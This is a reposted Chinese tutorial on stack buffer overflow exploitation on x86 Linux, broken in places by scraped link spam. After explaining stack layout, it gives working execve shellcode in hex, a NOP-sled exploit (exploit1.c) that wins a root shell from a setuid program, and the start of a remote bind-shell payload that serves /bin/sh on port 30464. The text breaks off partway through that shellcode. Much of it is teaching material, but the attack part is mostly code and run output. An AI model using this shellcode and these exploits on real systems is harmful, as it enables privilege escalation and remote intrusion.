堆栈溢出从入门到提高
轉自：http://www.jiaonan.net/html/2007/06/20070624034620915.htm
入門篇
2007-6-24 15:46:20
本講的預備知識：
首先你應該了解intel匯編語言，熟悉寄存器的組成和功能。你必須有堆棧和存儲分配方面
的基礎知識，有關這方面的計算機書籍非常多，我將僅僅是簡單闡述原理，著重在應用。其次，
你應該了解linux，本講中我們的樣例將在linux上開發。
1：首先復習一下基礎知識。
從物理上講，堆棧是就是一段連續分配的內存空間。在一個程序中，會聲明各種變量。靜態
全局變量是位于數據段而且在程序開始執行的時候被載入。而程序的動態的局部變量則分配
在堆棧里面。
從操作上來講，堆棧是一個先入后出的隊列。他的生長方向與內存的生長方向正好相反。我
們規定內存的生長方向為向上，則棧的生長方向為向下。壓棧的操作push＝ESP－4，出棧的
操作是pop=ESP+4.換句話說，堆棧中老的值，其內存地址，反而比新的值要大。
請牢牢記住這一點，由于這是堆棧溢出的基本理論根據。
在一次函數調用中，堆棧中將被依次壓入：參數，返回地址，EBP。假設函數有局部變量，
接下來，就在堆棧中開辟對應的空間以構造變量。函數運行結束，這些局部變量的內容將被
丟失。可是不被清除。在函數返回的時候，彈出EBP，恢復堆棧到函數調用的地址,彈出返回
地址到EIP以繼續運行程序。
在C語言程序中，參數的壓棧順序是反向的。比方func（a,b,c)。在參數入棧的時候，是：
先壓c，再壓b,最后a.在取參數的時候，因為棧的先入后出，先取棧頂的a，再取b,最后取c。
（PS:假設你看不懂上面這段概述，請你去看以看關于堆棧的書籍，一般的匯編語言書籍都
會具體的討論堆棧，必須弄懂它，你才干進行以下的學習）
2:好了，繼續,讓我們來看一看什么是堆棧溢出。
2.1：執行時的堆棧分配
堆棧溢出就是不顧堆棧中分配的局部數據塊大小，向該數據塊寫入了過多的數據，導致數據
越界。結果覆蓋了老的堆棧數據。
比方有以下一段程序：
程序一：
#include <stdio.h>
int main ( )
{
char name[8];
printf(/"Please type your name: /");
gets(name);
printf(/"Hello, %s!/", name);
return 0;
}
編譯而且執行，我們輸入ipxodi,就會輸出Hello,ipxodi!。程序執行中，堆棧是怎么操作的呢？
在main函數開始執行的時候，堆棧里面將被依次放入返回地址，EBP。
我們用gcc -S 來獲得匯編語言輸出，能夠看到main函數的開頭部分相應例如以下語句：
pushl %ebp
movl %esp,%ebp
subl $8,%esp
首先他把EBP保存下來，，然后EBP等于如今的ESP，這樣EBP就能夠用來訪問本函數的
局部變量。之后ESP減8，就是堆棧向上增長8個字節，用來存放name[]數組。如今堆棧
的布局例如以下：
內存底部 內存頂部
name EBP ret
<------ [ ][ ][ ]
^&name
棧頂部 堆棧底部
運行完gets(name)之后，堆棧例如以下：
內存底部 內存頂部
name EBP ret
<------ [ipxodi//0 ][ ][ ]
^&name
棧頂部 堆棧底部
最后，main返回，彈出ret里的地址，賦值給EIP，CPU繼續運行EIP所指向的指令。
2.2：堆棧溢出
好，看起來一切順利。我們再運行一次，輸入ipxodiAAAAAAAAAAAAAAA,運行完
gets（name）之后，堆棧例如以下：
內存底部 內存頂部
name EBP ret
<------ [ipxodiAA][AAAA][AAAA].......
^&name
棧頂部 堆棧底部
因為我們輸入的name字符串太長，name數組容納不下，僅僅好向內存頂部繼續寫
‘A’。因為堆棧的生長方向與內存的生長方向相反，這些‘A’覆蓋了堆棧的
老的元素。 如圖
我們能夠發現，EBP，ret都已經被‘A’覆蓋了。在main返回的時候，就會把
‘AAAA’的ASCII碼：0x41414141作為返回地址，CPU會試圖運行0x41414141處
的指令，結果出現錯誤。這就是一次堆棧溢出。
3：怎樣利用堆棧溢出
我們已經制造了一次堆棧溢出。其原理能夠概括為：因為字符串處理函數
（gets，strcpy等等）沒有對數組越界加以監視和限制，我們利用字符數組寫
越界，覆蓋堆棧中的老元素的值，就能夠改動返回地址。
在上面的樣例中，這導致CPU去訪問一個不存在的指令，結果出錯。
其實，當堆棧溢出的時候，我們已經全然的控制了這個程序下一步的動作。
假設我們用一個實際存在指令地址來覆蓋這個返回地址，CPU就會轉而運行我
們的指令。
在UINX系統中，我們的指令能夠運行一個感染linux腳本程序技術 淺談用delphi來編寫蠕蟲病毒 淺談數據庫的攻擊 后門技巧 Microsoft IIS ssinc.dll緩沖區溢出漏洞 IP欺騙的原理 Nimda/尼姆達蠕蟲報告_update? 教學文件(感謝網友提供！） 數據完整性檢測工具：Tripwire Unix網絡的兩個安全問題 相關鏈接共 145 篇 <<刷新該頁面能夠得到不同的keyword鏈接>> ,相關的鏈接)" href="http://www.safechina.net/article/showarticle.php?id=1003664001#" mce_href="http://www.safechina.net/article/showarticle.php?id=1003664001">shell ，這個shell將獲得和被我們堆
棧溢出的程序同樣的整理的關于網絡欺騙攻擊的內容 文件權限和注冊表權限的另類用法 關于安全性級別 分析進入Win2000后留下的足跡 一次入侵過程 NT/2000下刪日志的方法 入侵思路 Windows?2000漏洞集錦 菜鳥操(五)（bfctx原創) 下一代系統日志工具(syslog-ng) 相關鏈接共 195 篇 <<刷新該頁面能夠得到不同的keyword鏈接>> ,相關的鏈接)" href="http://www.safechina.net/article/showarticle.php?id=1003664001#" mce_href="http://www.safechina.net/article/showarticle.php?id=1003664001">權限 。假設這個程序是setuid的，那么我們就能夠獲得
root shell。
下一講將敘述怎樣書寫一個shell code。
------------------------------------------------------------
怎樣書寫一個shell code
一：shellcode基本算法分析
在程序中，運行一個shell的程序是這樣寫的：
shellcode.c
------------------------------------------------------------------------
-----
#include <stdio.h>
void main() {
char *name[2];
name[0] = /"/bin/sh/"
name[1] = NULL;
execve(name[0], name, NULL);
}
------------------------------------------------------------------------
------
execve函數將運行一個程序。他須要程序的名字地址作為第一個參數。一個內容為
該程序的argv[i]（argv[n-1]=0)的指針數組作為第二個參數，以及(char*) 0作為
第三個參數。
我們來看以看execve的匯編代碼：
[nkl10]$ gcc -o shellcode -static shellcode.c
[nkl10]$ gdb shellcode
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>: pushl %ebp ;
0x80002bd <__execve+1>: movl %esp,%ebp
;上面是函數頭。
0x80002bf <__execve+3>: pushl %ebx
;保存ebx
0x80002c0 <__execve+4>: movl $0xb,%eax
;eax=0xb，eax指明第幾號系統調用。
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
;ebp+8是第一個參數/"/bin/sh//0/"
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
;ebp+12是第二個參數name數組的地址
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
;ebp+16是第三個參數空指針的地址。
;name[2-1]內容為NULL，用來存放返回值。
0x80002ce <__execve+18>: int $0x80
;運行0xb號系統調用(execve)
0x80002d0 <__execve+20>: movl %eax,%edx
;以下是返回值的處理就沒實用了。
0x80002d2 <__execve+22>: testl %edx,%edx
0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>
0x80002d6 <__execve+26>: negl %edx
0x80002d8 <__execve+28>: pushl %edx
0x80002d9 <__execve+29>: call 0x8001a34
<__normal_errno_location>
0x80002de <__execve+34>: popl %edx
0x80002df <__execve+35>: movl %edx,(%eax)
0x80002e1 <__execve+37>: movl $0xffffffff,%eax
0x80002e6 <__execve+42>: popl %ebx
0x80002e7 <__execve+43>: movl %ebp,%esp
0x80002e9 <__execve+45>: popl %ebp
0x80002ea <__execve+46>: ret
0x80002eb <__execve+47>: nop
End of assembler dump.
經過以上的分析，能夠得到例如以下的精簡指令算法：
movl $execve的系統調用號,%eax
movl /"bin/sh//0/"的地址,%ebx
movl name數組的地址,%ecx
movl name[n-1]的地址,%edx
int $0x80 ;運行系統調用(execve)
當execve運行成功后，程序shellcode就會退出，/bin/sh將作為子進程繼續運行。
但是，假設我們的execve運行失敗，（比方沒有/bin/sh這個文件），CPU就會繼續
運行興許的指令，結果不知道跑到哪里去了。所以必須再運行一個exit（）系統調
用，結束shellcode.c的運行。
我們來看以看exit(0)的匯編代碼：
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x800034c <_exit>: pushl %ebp
0x800034d <_exit+1>: movl %esp,%ebp
0x800034f <_exit+3>: pushl %ebx
0x8000350 <_exit+4>: movl $0x1,%eax ;1號系統調用
0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx ;ebx為參數0
0x8000358 <_exit+12>: int $0x80 ;引發系統調用
0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>: movl %ebp,%esp
0x800035f <_exit+19>: popl %ebp
0x8000360 <_exit+20>: ret
0x8000361 <_exit+21>: nop
0x8000362 <_exit+22>: nop
0x8000363 <_exit+23>: nop
End of assembler dump.
看來exit(0)〕的匯編代碼更加簡單：
movl $0x1,%eax ;1號系統調用
movl 0,%ebx ;ebx為exit的參數0
int $0x80 ;引發系統調用
那么總結一下，合成的匯編代碼為：
movl $execve的系統調用號,%eax
movl /"bin/sh//0/"的地址,%ebx
movl name數組的地址,%ecx
movl name[n-1]的地址,%edx
int $0x80 ;運行系統調用(execve)
movl $0x1,%eax ;1號系統調用
movl 0,%ebx ;ebx為exit的參數0
int $0x80 ;運行系統調用(exit)
二：實現一個shellcode
好，我們來實現這個算法。首先我們必須有一個字符串“/bin/sh”,還得有一個name
數組。我們能夠構造它們出來，但是，在shellcode中怎樣知道它們的地址呢？每一次
程序都是動態載入，字符串和name數組的地址都不是固定的。
通過JMP和call的結合，黑客們巧妙的攻克了這個問題。
------------------------------------------------------------------------
------
jmp call的偏移地址 # 2 bytes
popl %esi # 1 byte //popl出來的是string的地址。
movl %esi,array-offset(%esi) # 3 bytes //在string+8處構造 name數組，
//name[0]放 string的地址
movb $0x0,nullbyteoffset(%esi)# 4 bytes //string+7處放0作為string的結
尾。
movl $0x0,null-offset(%esi) # 7 bytes //name[1]放0。
movl $0xb,%eax # 5 bytes //eax=0xb是execve的syscall代碼
。
movl %esi,%ebx # 2 bytes //ebx=string的地址
leal array-offset,(%esi),%ecx # 3 bytes //ecx=name數組的開始地址
leal null-offset(%esi),%edx # 3 bytes //edx=name〔1]的地址
int $0x80 # 2 bytes //int 0x80是sys call
movl $0x1, %eax # 5 bytes //eax=0x1是exit的syscall代碼
movl $0x0, %ebx # 5 bytes //ebx=0是exit的返回值
int $0x80 # 2 bytes //int 0x80是sys call
call popl 的偏移地址 # 5 bytes //這里放call,string 的地址就會
作
//為返回地址壓棧。
/bin/sh 字符串
------------------------------------------------------------------------
------
首先使用JMP相對地址來跳轉到call,運行完call指令，字符串/bin/sh的地址將作為
call的返回地址壓入堆棧。如今來到popl esi，把剛剛壓入棧中的字符串地址取出來，
就獲得了字符串的真實地址。然后，在字符串的第8個字節賦0，作為串的結尾。后面
8個字節，構造name數組（兩個整數，八個字節）。
我們能夠寫shellcode了。先寫出匯編源程序。
shellcodeasm.c
------------------------------------------------------------------------
------
void main() {
__asm__(/"
jmp 0x2a # 3 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2f # 5 bytes
.string ///"/bin/sh///" # 8 bytes
/");
}
------------------------------------------------------------------------
------
編譯后，用gdb的b/bx 〔地址〕命令能夠得到十六進制的表示。
以下，寫出測試程序例如以下：（注意，這個test程序是測試shellcode的基本程序）
test.c
------------------------------------------------------------------------
------
char shellcode[] =
/"//xeb//x2a//x5e//x89//x76//x08//xc6//x46//x07//x00//xc7//x46//x0c//x00//x00//x00/"
/"//x00//xb8//x0b//x00//x00//x00//x89//xf3//x8d//x4e//x08//x8d//x56//x0c//xcd//x80/"
/"//xb8//x01//x00//x00//x00//xbb//x00//x00//x00//x00//xcd//x80//xe8//xd1//xff//xff/"
/"//xff//x2f//x62//x69//x6e//x2f//x73//x68//x00//x89//xec//x5d//xc3/"
void main() {
int *ret;
ret = (int *)&ret + 2; //ret 等于main（）的返回地址
//(＋2是由于：有pushl ebp ,否則加1就能夠了。）
(*ret) = (int)shellcode; //改動main（）的返回地址為shellcode的開始地
址。
}
------------------------------------------------------------------------
------
------------------------------------------------------------------------
------
[nkl10]$ gcc -o test test.c
[nkl10]$ ./test
$ exit
[nkl10]$
------------------------------------------------------------------------
------
我們通過一個shellcode數組來存放shellcode，當我們把程序（test.c）的返回地址
ret設置成shellcode數組的開始地址時，程序在返回的時候就會去運行我們的shellcode，
從而我們得到了一個shell。
執行結果，得到了bsh的提示符$,表明成功的開了一個shell。
這里有必要解釋的是，我們把shellcode作為一個全局變量開在了數據段而不是作為
一段代碼。是由于在操作系統中，程序代碼段的內容是具有僅僅讀屬性的。不能改動。
而我們的代碼中movl %esi,0x8(%esi)等語句都改動了代碼的一部分，所以不能放在
代碼段。
這個shellcode能夠了嗎？非常遺憾，還差了一點。大家回憶一下，在堆棧溢出中，關
鍵在于字符串數組的寫越界。可是，gets，strcpy等字符串函數在處理字符串的時候，
以/"//0/"
為字符串結尾。遇//0就結束了寫操作。而我們的shellcode串中有大量的//0字符。因此，
對于gets（name）來說，上面的shellcode是不可行的。我們的shellcode是不能有//0字符
出現的。
因此，有些指令須要改動一下：
舊的指令 新的指令
--------------------------------------------------------
movb $0x0,0x7(%esi) xorl %eax,%eax
molv $0x0,0xc(%esi) movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
--------------------------------------------------------
movl $0xb,%eax movb $0xb,%al
--------------------------------------------------------
movl $0x1, %eax xorl %ebx,%ebx
movl $0x0, %ebx movl %ebx,%eax
inc %eax
--------------------------------------------------------
最后的shellcode為：
------------------------------------------------------------------------
----
char shellcode[]=
00 /"//xeb//x1f/" /* jmp 0x1f */
02 /"//x5e/" /* popl %esi */
03 /"//x89//x76//x08/" /* movl %esi,0x8(%esi) */
06 /"//x31//xc0/" /* xorl %eax,%eax */
08 /"//x88//x46//x07/" /* movb %eax,0x7(%esi) */
0b /"//x89//x46//x0c/" /* movl %eax,0xc(%esi) */
0e /"//xb0//x0b/" /* movb $0xb,%al */
10 /"//x89//xf3/" /* movl %esi,%ebx */
12 /"//x8d//x4e//x08/" /* leal 0x8(%esi),%ecx */
15 /"//x8d//x56//x0c/" /* leal 0xc(%esi),%edx */
18 /"//xcd//x80/" /* int $0x80 */
1a /"//x31//xdb/" /* xorl %ebx,%ebx */
1c /"//x89//xd8/" /* movl %ebx,%eax */
1e /"//x40/" /* inc %eax */
1f /"//xcd//x80/" /* int $0x80 */
21 /"//xe8//xdc//xff//xff//xff/" /* call -0x24 */
26 /"/bin/sh/" /* .string ///"/bin/sh///" */
------------------------------------------------------------------------
----
三：利用堆棧溢出獲得shell
好了，如今我們已經制造了一次堆棧溢出，寫好了一個shellcode。準備工作都已經作完，
我們把二者結合起來，就寫出一個利用堆棧溢出獲得shell的程序。
overflow1.c
------------------------------------------------------------------------
------
char shellcode[] =
/"//xeb//x1f//x5e//x89//x76//x08//x31//xc0//x88//x46//x07//x89//x46//x0c//xb0//x0b/"
/"//x89//xf3//x8d//x4e//x08//x8d//x56//x0c//xcd//x80//x31//xdb//x89//xd8//x40//xcd/"
/"//x80//xe8//xdc//xff//xff//xff/bin/sh/"
char large_string[128];
void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer,large_string);
}
------------------------------------------------------------------------
------
在運行完strcpy后，堆棧內容例如以下所看到的：
內存底部 內存頂部
buffer EBP ret
<------ [SSS...SSSA ][A ][A ]A..A
^&buffer
棧頂部 堆棧底部
注：S表示shellcode。
A表示shellcode的地址。
這樣，在運行完strcpy后，overflow。c將從ret取出A作為返回地址，從而運行了我們
的shellcode。
----------------------------------------------------------
利用堆棧溢出獲得shell
如今讓我們進入最刺激的一講，利用別人的程序的堆棧溢出獲得rootshell。我們
將面對
一個有strcpy堆棧溢出“求職信”病毒/蠕蟲行為深入分析 非法格式信息報頭導致Msn Messenger崩潰漏洞 微軟警告SQL Server存在安全漏洞 Apple Mac OS X PPP 驗證協議可泄露漏洞 Security?Issues?in?Perl?Scripts? unicode編碼漏洞全攻略-6 Windows 2000緩沖區溢出入門 xloadimage 緩沖區溢出漏洞 FolkQQ專業黑軟回想 Windows NT攻擊大全 相關鏈接共 205 篇 <<刷新該頁面能夠得到不同的keyword鏈接>> ,相關的鏈接)" href="http://www.safechina.net/article/showarticle.php?id=1003664001#" mce_href="http://www.safechina.net/article/showarticle.php?id=1003664001">漏洞 的程序，利用前面說過的方法來得到shell。
回憶一下前面所講，我們通過一個shellcode數組來存放shellcode，利用程序中的
strcpy
函數，把shellcode放到了程序的堆棧之中；我們制造了數組越界，用shellcode的
開始地
址覆蓋了程序（overflow.c）的返回地址，程序在返回的時候就會去運行我們的
shellcode，從而我們得到了一個shell。
當我們面對別人寫的程序時，為了讓他運行我們的shellcode，相同必須作這兩件
事：
1:把我們的shellcode提供給他，讓他能夠訪問shellcode。
2:改動他的返回地址為shellcode的入口地址。
為了做到這兩條，我們必須知道他的strcpy（buffer,ourshellcode）中，buffer
的地址。
由于當我們把shellcode提供給strcpy之后，buffer的開始地址就是shellcode的開
始地址
，我們必須用這個地址來覆蓋堆棧才成。這一點大家一定要明白。
我們知道，對于操作系統來說，一個shell下的每個程序的堆棧段開始地址都是
同樣的
。我們能夠寫一個程序，獲得執行時的堆棧起始地址，這樣，我們就知道了目標程
序堆棧
的開始地址。
以下這個函數，用eax返回當前程序的堆棧指針。（全部C函數的返回值都放在eax
寄存器
里面）:
------------------------------------------------------------------------
------
unsigned long get_sp(void) {
__asm__(/"movl %esp,%eax/");
}
------------------------------------------------------------------------
------
我們在知道了堆棧開始地址后，buffer相對于堆棧開始地址的偏移，是他程序猿自
己
寫出來的程序決定的，我們不知道，僅僅能靠推測了。只是，一般的程序堆棧大約是
幾K
左右。所以，這個buffer與上面得到的堆棧地址，相差就在幾K之間。
顯然猜地址這是一件非常難的事情，從0試到10K，會把人累死的。
前面我們用來覆蓋堆棧的溢出字符串為：
SSSSSSSSSSSSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
如今，為了提高命中率，我們對他進行例如以下改進：
用來溢出的字符串變為：
NNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA
當中：
N為NOP.NOP指令意思是什么都不作，跳過一個CPU指令周期。在intel機器上，
NOP指令的機器碼為0x90。
S為shellcode。
A為我們推測的buffer的地址。這樣，A猜大了也能夠落在N上，而且終于會運行到
S.
這個改進大大提高了推測的命中率，有時差點兒能夠一次命中。：）））
好了，枯燥的算法分析完了，以下就是利用./vulnerable1的堆棧溢出漏洞來得到
shell的程序：
exploit1.c
------------------------------------------------------------------------
----
#include<stdio.h>
#include<stdlib.h>
#define OFFSET 0
#define RET_POSITION 1024
#define RANGE 20
#define NOP 0x90
char shellcode[]=
/"//xeb//x1f/" /* jmp 0x1f */
/"//x5e/" /* popl %esi */
/"//x89//x76//x08/" /* movl %esi,0x8(%esi) */
/"//x31//xc0/" /* xorl %eax,%eax */
/"//x88//x46//x07/" /* movb %eax,0x7(%esi) */
/"//x89//x46//x0c/" /* movl %eax,0xc(%esi) */
/"//xb0//x0b/" /* movb $0xb,%al */
/"//x89//xf3/" /* movl %esi,%ebx */
/"//x8d//x4e//x08/" /* leal 0x8(%esi),%ecx */
/"//x8d//x56//x0c/" /* leal 0xc(%esi),%edx */
/"//xcd//x80/" /* int $0x80 */
/"//x31//xdb/" /* xorl %ebx,%ebx */
/"//x89//xd8/" /* movl %ebx,%eax */
/"//x40/" /* inc %eax */
/"//xcd//x80/" /* int $0x80 */
/"//xe8//xdc//xff//xff//xff/" /* call -0x24 */
/"/bin/sh/" /* .string ///"/bin/sh///" */
unsigned long get_sp(void)
{
__asm__(/"movl %esp,%eax/");
}
main(int argc,char **argv)
{
char buff[RET_POSITION+RANGE+1],*ptr;
long addr;
unsigned long sp;
int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
int i;
if(argc>1)
offset=atoi(argv[1]);
sp=get_sp();
addr=sp-offset;
for(i=0;i<bsize;i+=4)
*((long *)&(buff[i]))=addr;
for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)
buff[i]=NOP;
ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
for(i=0;i<strlen(shellcode);i++)
*(ptr++)=shellcode[i];
buff[bsize-1]=/"//0/"
//如今buff的內容為
//NNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA//0
printf(/"Jump to 0x%08x//n/",addr);
execl(/"./vulnerable1/",/"vulnerable1/",buff,0);
}
------------------------------------------------------------------------
----
execl用來運行目標程序./vulnerable1，buff是我們精心制作的溢出字符串，
作為./vulnerable1的參數提供。
下面是運行的結果：
------------------------------------------------------------------------
----
[nkl10]$ ls -l vulnerable1
-rwsr-xr-x 1 root root xxxx jan 10 16:19 vulnerable1*
[nkl10]$ ls -l exploit1
-rwxr-xr-x 1 ipxodi cinip xxxx Oct 18 13:20 exploit1*
[nkl10]$ ./exploit1
Jump to 0xbfffec64
Segmentation fault
[nkl10]$ ./exploit1 500
Jump to 0xbfffea70
bash# whoami
root
bash#
------------------------------------------------------------------------
----
恭喜，恭喜，你獲得了root shell。
下一講，我們將進一步探討shellcode的書寫。我們將討論一些非常復雜的
shellcode。
--------------------------------------------------------------
遠程堆棧溢出
我們用堆棧溢出攻擊守護進程daemon時，原理和前面提到過的本地攻擊是同樣的。
我們
必須提供給目標daemon一個溢出字符串，里面包括了shellcode。希望敵人在復制
（或者
別的串處理操作）這個串的時候發生堆棧溢出，從而運行我們的shellcode。
普通的shellcode將啟動一個子進程運行sh，自己退出。對于我們這些遠程的攻擊
者來說
，因為我們不在本地，這個sh我們并沒有得到。
因此，對于遠程使用者，我們傳過去的shellcode就必須負擔起打開一個socket，
然后
listen我們的連接，給我們一個遠程shell的責任。
怎樣開一個遠程shell呢？我們先申請一個socketfd，使用30464（隨便，多少都行
）作為
這個socket連接的port，bind他，然后在這個port上等待連接listen。當有連接進
來后，
開一個子shell，把連接的clientfd作為子shell的stdin,stdout,stderr。這樣，
我們
遠程的使用者就有了一個遠程shell（跟telnet一樣啦）。
||||||以下就是這個算法的C實現：
opensocket.c
------------------------------------------------------------------------
----
1#include<unistd.h>
2#include<sys/socket.h>
3#include<netinet/in.h>
4int soc,cli,soc_len;
5struct sockaddr_in serv_addr;
6struct sockaddr_in cli_addr;
7int main()
8{
9 if(fork()==0)
10 {
11 serv_addr.sin_family=AF_INET;
12 serv_addr.sin_addr.s_addr=htonl(INADDR_ANY);
13 serv_addr.sin_port=htons(30464);
14 soc=socket(AF_INET,SOCK_STREAM,IPPROTO_一個多功能linux 后門的源碼 OpenBSD可載入內核模塊編程全然指南 用SSL構建一個安全的Apache 七個維護server安全的技巧 port list(from neohapsis) SSH使用及協議分析 下一代系統日志工具(syslog-ng) IPport對比表(中文凝視) Linux下的網絡掃描利器：NMAP TCP Chargen DoS攻擊及其對策 相關鏈接共 162 篇 <<刷新該頁面能夠得到不同的keyword鏈接>> ,相關的鏈接)" href="http://www.safechina.net/article/showarticle.php?id=1003664001#" mce_href="http://www.safechina.net/article/showarticle.php?id=1003664001">TCP );
15 bind(soc,(struct sockaddr *)&serv_addr,
sizeof(serv_addr));
16 listen(soc,1);
17 soc_len=sizeof(cli_addr);
18 cli=accept(soc,(struct sockaddr *)&cli_addr,
&soc_len);
19 dup2(cli,0);
20 dup2(cli,1);
21 dup2(cli,2);
22 execl(/"/bin/sh/",/"sh/",0);
23 }
24}
------------------------------------------------------------------------
----
第9行的fork()函數創建了一個子進程，對于父進程fork()的返回值是子進程的
pid，
對于子進程，fork()的返回值是0.本程序中，父進程運行了一個fork就退出了，子
進程
作為socket通信的運行者繼續以下的操作。
10到23行都是子進程所作的事情。首先調用socket獲得一個文件描寫敘述符soc，然后
調用
bind()綁定30464port，接下來開始監聽listen().程序掛起在accept等待客戶連接
。
當有客戶連接時，程序被喚醒，進行accept，然后把自己的標準輸入，標準輸出，
標準錯誤輸出重定向到客戶的文件描寫敘述符上，開一個子sh，這樣，子shell繼承了
這個進程的文件描寫敘述符，對于客戶來說，就是得到了一個遠程shell。
看懂了嗎？嗯，對，這是一個比較簡單的socket程序，非常好理解的。好，我們使用
gdb來反編譯上面的程序:
[nkl10]$ gcc -o opensocket -static opensocket.c
[nkl10]$ gdb opensocket
GNU gdb 4.17
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are
welcome to change it and/or distribute copies of it under certain
conditions.
Type /"show copying/" to see the conditions.
There is absolutely no warranty for GDB. Type /"show warranty/" for
details.
This GDB was configured as /"i386-redhat-linux/"...
(gdb) disassemble fork
Dump of assembler code for function fork:
0x804ca90 <fork>: movl $0x2,%eax
0x804ca95 <fork+5>: int $0x80
0x804ca97 <fork+7>: cmpl $0xfffff001,%eax
0x804ca9c <fork+12>: jae 0x804cdc0 <__syscall_error>
0x804caa2 <fork+18>: ret
0x804caa3 <fork+19>: nop
0x804caa4 <fork+20>: nop
0x804caa5 <fork+21>: nop
0x804caa6 <fork+22>: nop
0x804caa7 <fork+23>: nop
0x804caa8 <fork+24>: nop
0x804caa9 <fork+25>: nop
0x804caaa <fork+26>: nop
0x804caab <fork+27>: nop
0x804caac <fork+28>: nop
0x804caad <fork+29>: nop
0x804caae <fork+30>: nop
0x804caaf <fork+31>: nop
End of assembler dump.
(gdb) disassemble socket
Dump of assembler code for function socket:
0x804cda0 <socket>: movl %ebx,%edx
0x804cda2 <socket+2>: movl $0x66,%eax
0x804cda7 <socket+7>: movl $0x1,%ebx
0x804cdac <socket+12>: leal 0x4(%esp,1),%ecx
0x804cdb0 <socket+16>: int $0x80
0x804cdb2 <socket+18>: movl %edx,%ebx
0x804cdb4 <socket+20>: cmpl $0xffffff83,%eax
0x804cdb7 <socket+23>: jae 0x804cdc0 <__syscall_error>
0x804cdbd <socket+29>: ret
0x804cdbe <socket+30>: nop
0x804cdbf <socket+31>: nop
End of assembler dump.
(gdb) disassemble bind
Dump of assembler code for function bind:
0x804cd60 <bind>: movl %ebx,%edx
0x804cd62 <bind+2>: movl $0x66,%eax
0x804cd67 <bind+7>: movl $0x2,%ebx
0x804cd6c <bind+12>: leal 0x4(%esp,1),%ecx
0x804cd70 <bind+16>: int $0x80
0x804cd72 <bind+18>: movl %edx,%ebx
0x804cd74 <bind+20>: cmpl $0xffffff83,%eax
0x804cd77 <bind+23>: jae 0x804cdc0 <__syscall_error>
0x804cd7d <bind+29>: ret
0x804cd7e <bind+30>: nop
0x804cd7f <bind+31>: nop
End of assembler dump.
(gdb) disassemble listen
Dump of assembler code for function listen:
0x804cd80 <listen>: movl %ebx,%edx
0x804cd82 <listen+2>: movl $0x66,%eax
0x804cd87 <listen+7>: movl $0x4,%ebx
0x804cd8c <listen+12>: leal 0x4(%esp,1),%ecx
0x804cd90 <listen+16>: int $0x80
0x804cd92 <listen+18>: movl %edx,%ebx
0x804cd94 <listen+20>: cmpl $0xffffff83,%eax
0x804cd97 <listen+23>: jae 0x804cdc0 <__syscall_error>
0x804cd9d <listen+29>: ret
0x804cd9e <listen+30>: nop
0x804cd9f <listen+31>: nop
End of assembler dump.
(gdb) disassemble accept
Dump of assembler code for function __accept:
0x804cd40 <__accept>: movl %ebx,%edx
0x804cd42 <__accept+2>: movl $0x66,%eax
0x804cd47 <__accept+7>: movl $0x5,%ebx
0x804cd4c <__accept+12>: leal 0x4(%esp,1),%ecx
0x804cd50 <__accept+16>: int $0x80
0x804cd52 <__accept+18>: movl %edx,%ebx
0x804cd54 <__accept+20>: cmpl $0xffffff83,%eax
0x804cd57 <__accept+23>: jae 0x804cdc0 <__syscall_error>
0x804cd5d <__accept+29>: ret
0x804cd5e <__accept+30>: nop
0x804cd5f <__accept+31>: nop
End of assembler dump.
(gdb) disassemble dup2
Dump of assembler code for function dup2:
0x804cbe0 <dup2>: movl %ebx,%edx
0x804cbe2 <dup2+2>: movl 0x8(%esp,1),%ecx
0x804cbe6 <dup2+6>: movl 0x4(%esp,1),%ebx
0x804cbea <dup2+10>: movl $0x3f,%eax
0x804cbef <dup2+15>: int $0x80
0x804cbf1 <dup2+17>: movl %edx,%ebx
0x804cbf3 <dup2+19>: cmpl $0xfffff001,%eax
0x804cbf8 <dup2+24>: jae 0x804cdc0 <__syscall_error>
0x804cbfe <dup2+30>: ret
0x804cbff <dup2+31>: nop
End of assembler dump.
如今能夠寫上面c代碼的匯編語句了。
fork()的匯編代碼
------------------------------------------------------------------------
----
char code[]=
/"//x31//xc0/" /* xorl %eax,%eax */
/"//xb0//x02/" /* movb $0x2,%al */
/"//xcd//x80/" /* int $0x80 */
------------------------------------------------------------------------
----
socket(2,1,6)的匯編代碼
注：AF_INET=2,SOCK_STREAM=1,IPPROTO_TCP=6
------------------------------------------------------------------------
----
/* socket使用66號系統調用，1號子調用。 */
/* 他使用一段內存塊來傳遞參數2,1,6。 */
/* %ecx 里面為這個內存塊的地址指針. */
char code[]=
/"//x31//xc0/" /* xorl %eax,%eax */
/"//x31//xdb/" /* xorl %ebx,%ebx */
/"//x89//xf1/" /* movl %esi,%ecx */
/"//xb0//x02/" /* movb $0x2,%al */
/"//x89//x06/" /* movl %eax,(%esi) */
/* 第一個參數 */
/* %esi 指向一段未使用的內存空間 */
/"//xb0//x01/" /* movb $0x1,%al */
/"//x89//x46//x04/" /* movl %eax,0x4(%esi) */
/* 第二個參數 */
